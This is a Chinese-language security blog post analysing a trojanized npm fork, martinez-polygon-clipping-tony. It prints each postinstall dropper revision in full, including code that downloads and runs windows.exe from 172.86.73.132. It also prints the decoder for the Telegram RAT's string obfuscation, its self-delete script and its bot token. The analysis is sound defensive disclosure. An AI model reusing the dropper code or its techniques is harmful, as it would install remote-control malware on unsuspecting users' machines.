目录
摘要
martinez-polygon-clipping-tony 是合法库 martinez-polygon-clipping 的木马化分支。该软件包于2026年5月7日发布,其中添加了一个 postinstall 钩子,用于从 172.86.73.132 下载一个17 MB的PyInstaller打包的Windows可执行文件。该二进制文件是一个Telegram控制的远控木马(RAT),具备远程Shell执行、持续屏幕截图捕获、文件上传/下载、任意Python代码执行以及批处理脚本自毁功能。攻击者使用一次性npm账户发布软件包时,伪造了原作者的邮箱([email protected])。
影响范围:
- 通过Telegram消息在受害者Windows机器上执行任意Shell命令
- 持续屏幕截图捕获(可配置间隔、爆发模式),通过Telegram外泄
- 向受害者机器上传文件及从受害者机器下载/外泄文件
- 在机器人进程中执行任意Python代码
- 自卸载并清理取证痕迹(删除二进制文件和批处理脚本)
- 反取证启动清理:移除
%TEMP%\youtube_chm_unpack\dismcore.dll
妥协指标(IoC):
| 指标 | 值 |
|---|---|
| 软件包 | martinez-polygon-clipping-tony v0.8.1至v0.9.2 |
| npm维护者 | christiano_129([email protected]) |
| 相关软件包 | martinez-polygon-clipping-simul-dalton v0.8.2(同一攻击者) |
| 伪造的作者邮箱 | [email protected](属于合法的 martinez-polygon-clipping 维护者) |
| C2 IP(第1阶段下载) | 172.86.73.132 |
| 第2阶段下载URL | hxxp://172[.]86[.]73[.]132/windows.exe |
| 第2阶段SHA-256 | 86d17961e9662c53e1fb61701388b7c741bf79c093061df968a3e53c829dcb16 |
| 第2阶段类型 | PE32+(x86-64),PyInstaller 2.1+,Python 3.12 |
| 第2阶段编译时间 | 2026-05-06 19:40:00 UTC |
| Telegram机器人令牌 | 8623507214:AAHR9XdON0uL9KI8Pk7K_Bz9Wv5YB7g_shs |
| Telegram操作员聊天ID | 8611602014 |
| 释放路径(Windows) | C:\Users\Public\windows.exe |
| 互斥体名称模式 | Global\lab_obf_bot_<sha256_prefix> |
| 清理目标 | %TEMP%\youtube_chm_unpack\dismcore.dll |
| 自毁产物 | 可执行文件目录中的 delete_self.bat |
| GitHub仓库(攻击者) | daltonchristiano060-gif/dalton-martinez |
分析
软件包概述
合法的 martinez-polygon-clipping 是一个用于多边形布尔运算(并集、交集、差集)的几何库,由Alex Milevski维护(npm上的 w8r,GitHub上的 [email protected])。该库只有一个稳定版本v0.8.1。
攻击者克隆了该软件包。package.json 完全复制了描述信息,作者列为 Tony Brown<[email protected]>(使用假名字伪造真实维护者的邮箱),并将仓库指向GitHub上的 daltonchristiano060-gif/dalton-martinez。
npm账户 christiano_129 于2026年5月7日创建,并在三小时内发布了八个版本。第二天,同一账户下发布了第二个软件包 martinez-polygon-clipping-simul-dalton:很可能是测试运行。
// Legitimate package.json
"author": "Alex Milevski <[email protected]>"
// Malicious package.json
"author": "Tony Brown<[email protected]>"释放器演进:三小时内八个版本
此次攻击展示了清晰的迭代开发过程。0.8.1版本是干净的分支(除了名称和仓库URL外与合法软件包相同)。后续版本添加了 postinstall 钩子,负载经历了五个不同的修订版本。
v0.8.1(06:21 UTC): 干净的分叉。无 scripts/ 目录,无安装钩子。建立了注册表存在。
v0.8.3(06:44 UTC): 添加 scripts/postinstall.js 但带有良性负载。写入日志文件以确认钩子触发:
// scripts/postinstall.js (v0.8.3)
import { appendFileSync } from 'node:fs';
import { join } from 'node:path';
const cwd = process.env.INIT_CWD || process.cwd();
try {
appendFileSync(join(cwd, 'martinez-package-install.log'), 'my package installed.\n', { flag: 'a' });
} catch {
// ignore permissions / read-only cwd, etc.
}v0.8.7(08:43 UTC): 第一个活动的释放器。从C2下载 windows.exe 并立即尝试执行。无操作系统检查,无错误处理,下载和执行之间存在竞态条件:
// scripts/postinstall.js (v0.8.7)
import fs from 'node:fs';
import http from 'node:http';
http.get('http://172.86.73.132/windows.exe', (res) => {
const file = fs.createWriteStream('windows.exe');
res.pipe(file);
});
import { exec } from 'node:child_process';
exec('start windows.exe');v0.8.9(08:52 UTC): 添加Windows平台检查并将二进制文件释放到 C:\Users\Public\。存在一个bug:exec 调用启动的是 calc.exe 而不是下载的有效负载(很可能是测试产物遗留错误):
// scripts/postinstall.js (v0.8.9)
if (os.platform() === 'win32') {
http.get('http://172.86.73.132/windows.exe', (res) => {
const file = fs.createWriteStream('c:/users/public/windows.exe');
res.pipe(file);
exec('start calc.exe'); // Bug: launches calculator, not the payload
});
}v0.9.0(08:55 UTC): 修复执行目标为 c:/users/public/windows.exe。仍然存在下载/执行竞态条件。
v0.9.2(09:06 UTC): 最终版本。添加了适当的 file.on('finish') 处理程序,等待下载完成后再执行:
// scripts/postinstall.js (v0.9.2)
if (os.platform() === 'win32') {
http.get('http://172.86.73.132/windows.exe', (res) => {
const file = fs.createWriteStream('c:/users/public/windows.exe');
res.pipe(file);
file.on('finish', () => {
file.close(() => {
exec('start c:/users/public/windows.exe');
});
});
});
}与合法软件包的 package.json diff展示了完整的故事。仅修改了三项内容:名称、仓库URL和一个 postinstall 钩子:
"name": "martinez-polygon-clipping",
"name": "martinez-polygon-clipping-tony",
"files": [
"dist/"
"dist/",
"scripts/postinstall.js"
],
"postinstall": "node scripts/postinstall.js",第2阶段二进制文件:PyInstaller打包的Telegram RAT
下载的 windows.exe 是一个17 MB的PE32+可执行文件,于2026年5月6日19:40 UTC编译。file 命令和PE头确认这是一个64位Windows GUI应用程序:
PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
Linker: MSVC 14.00.35225 (Visual Studio 2022)识别和解包PyInstaller负载需要几个步骤。首先使用 file 和 r2 确认PE结构并发现覆盖区:
$ file windows.exe
PE32+ executable (GUI) x86-64, for MS Windows, 7 sectionsPE节总和约360 KB,但文件大小为17 MB。这个差距是附加在PE结构之后的覆盖区数据。检查覆盖区起始位置(last_section_paddr + last_section_size = 0x59800)发现了一个zlib流,搜索完整二进制文件中的已知签名确认了PyInstaller标记:
$ python3 -c "
with open('windows.exe','rb') as f:
d = f.read()
for sig, name in [(b'PYZ\x00','PYZ'), (b'MEI','MEI'), (b'pyi','pyi')]:
i = d.find(sig)
if i >= 0: print(f'{name} at {hex(i)}')
"
PYZ at 0xc0cd49
pyi at 0x2e5d8
MEI at 0x2f4ff确认PyInstaller后,使用 pyinstxtractor-ng 提取:
$ pip install pyinstxtractor-ng
$ python3 -m pyinstxtractor_ng windows.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Found 46 files in CArchive
[+] Found 635 files in PYZ archive
[+] Successfully extracted pyinstaller archive: windows.exe提取的目录包含入口点 bot.pyc 和PYZ归档内容。由于这些是Python 3.12字节码文件(对大多数反编译器来说太新),使用Python 3.12的 marshal 模块直接从每个代码对象转储常量表和名称:
$ python3.12 -c "
import marshal, types
f = open('bot.pyc', 'rb'); f.read(16); code = marshal.load(f)
def walk(c, depth=0):
consts = [x for x in c.co_consts if not isinstance(x, types.CodeType)]
print(' ' * depth + f'{c.co_name}: names={c.co_names}')
print(' ' * depth + f' consts={consts}')
for x in c.co_consts:
if isinstance(x, types.CodeType): walk(x, depth + 1)
walk(code)
"这种方法可以在不需要完整反编译器的情况下恢复所有字符串字面量、函数名、模块导入和常量。对于更深入的分析,python3.12 -m dis bot.pyc 提供了完整的字节码反汇编。
入口点是 bot.pyc,它从包含RAT逻辑的自定义 lab_obf 包中导入:
bot.pyc — Launcher (mutex, startup scrub, imports lab_obf.mod_beta)
lab_obf/
__init__.pyc — Re-export shim
mod_alpha.pyc — Core runtime: shell exec, screenshots, path handling, machine fingerprinting
mod_beta.pyc — Entry symbol (imports tg_runtime.entry_main)
tg_runtime.pyc — Telegram bot wiring: command handlers, file save, code exec
seal_v1.pyc — String obfuscation: XOR + zlib capsule decoder
ws_host.pyc — Auxiliary thread spawner, Telegram polling launcher字符串混淆:胶囊系统
敏感字符串(Telegram机器人令牌、操作员聊天ID、命令名称)以base64编码、XOR掩码、zlib压缩的"胶囊"形式存储在 seal_v1.pyc 中。解密使用从 v1|<slot_index> 派生的每个槽位SHA-256密钥:
# Reconstructed from seal_v1.pyc bytecode
def _slot_digest(slot: int) -> bytes:
return hashlib.sha256(f'v1|{slot}'.encode()).digest()
def _strip(slot: int, capsule: bytes) -> bytes:
raw = base64.b64decode(capsule)
key = _slot_digest(slot)
masked = bytes(b ^ key[i % 32] for i, b in enumerate(raw))
return zlib.decompress(masked)解码所有八个胶囊槽位揭示了硬编码配置:
| 槽位 | 解码值 |
|---|---|
| 0 | 8623507214:AAHR9XdON0uL9KI8Pk7K_Bz9Wv5YB7g_shs(Telegram机器人令牌) |
| 1 | 8611602014(操作员Telegram聊天ID) |
| 2 | uninstall(命令关键词) |
| 3 | screenshot(命令关键词) |
| 4 | status(命令关键词) |
| 5 | stop(命令关键词) |
| 6 | delete_self.bat(自毁脚本名称) |
| 7 | C:\Users\Public(暂存/上传目录) |
RAT功能
Telegram机器人注册了命令、文本消息和文件附件的处理程序。每条消息都通过操作员的聊天ID(8611602014)和机器特定的路由前缀进行门控,允许攻击者从单个Telegram对话控制多台受感染机器。
机器指纹识别。 每个受害者获得一个16字符的十六进制路由ID,该ID由主机名、MAC地址和Windows MachineGuid 注册表值的SHA-256派生。操作员在命令前加上 [route_id] 来针对特定机器。
远程Shell。 任何带有路由前缀且不属于已识别命令的文本消息都会通过 cmd.exe /c 作为Shell命令执行。输出从临时文件中捕获(包括CP949、UTF-16-LE带BOM检测等Windows编码特性),并通过Telegram发回。可配置的超时默认值为120秒,上限为3600秒。
屏幕截图捕获。 screenshot 命令使用PIL的 ImageGrab.grab(all_screens=True),并通过 SetProcessDpiAwareness(2) 启用DPI感知。支持持续模式(每N秒捕获一次直到停止)和爆发模式(M秒间隔捕获N张截图)。截图以Telegram照片形式发送,路由ID作为说明文字。
文件上传/下载。 带有路由ID说明文字的Telegram聊天中发送的文件会被保存到 C:\Users\Public。机器人还暴露了 tg_download 和 tg_download_many 函数,用于在Python exec块中进行程序化文件检索。
任意Python执行。 解析为有效Python的文本块(通过 ast.parse 确定)会通过 exec() 在机器人进程中执行。攻击者可以运行具有机器人导入完整访问权限和受害者文件系统完整访问权限的任意Python代码。
自毁。 uninstall 命令编写一个批处理脚本,等待3秒,删除可执行文件和批处理脚本本身,然后终止机器人:
@echo off
timeout /t 3 >nul
del /f /q "C:\Users\Public\windows.exe"
del /f /q "C:\Users\Public\delete_self.bat"反取证启动清理。 机器人在启动时睡眠4秒,然后尝试删除 %TEMP%\youtube_chm_unpack\dismcore.dll。此路径表明存在先前的或平行的活动,通过假的YouTube相关工具侧载恶意 dismcore.dll。
单实例互斥体。 机器人获取 Global\lab_obf_bot_<hash> 以防止重复实例。该哈希由可执行文件内容(文件大小加起始/中间/结束字节样本)派生,因此字节完全相同的副本共享互斥体,但重新编译的变体则不会。
辅助基础设施
ws_host.pyc 模块在启动时生成守护线程,并以60秒轮询间隔和10秒超时限时启动Telegram长轮询。空闲工作线程睡眠86400秒(24小时),即使轮询停滞也能保持进程存活。
mod_alpha.pyc 模块包含全面的Windows Shell命令白名单(50多个命令,包括 powershell、certutil、bitsadmin、taskkill、schtasks),用于确定单行输入是应该路由到Shell执行还是Python exec。它还处理Telegram Unicode替换的智能引号规范化、cmd.exe 的路径引号,以及应该比机器人存活时间更长的可执行文件的分离进程启动。
结论
这是一次低复杂度但负载能力强的攻击。释放器经历了明显的试错过程(calc.exe 拼写错误、下载竞态条件),攻击者在三小时内将所有迭代发布到公共注册表。然而,第2阶段二进制文件是一个结构良好的Telegram RAT,具有正确的编码处理、DPI感知的屏幕截图、多机器路由和基于胶囊的字符串混淆系统。
伪造的作者邮箱([email protected])和复制的描述旨在借用合法 martinez-polygon-clipping 软件包的信任。一次性npm账户和单日发布时间线证实这是一次有针对性的攻击,而非被入侵的维护者。
- malware
- npm
- supply-chain
- rat
- telegram
SafeDep博客最新内容
关注以获取开源安全与工程方面的最新更新和见解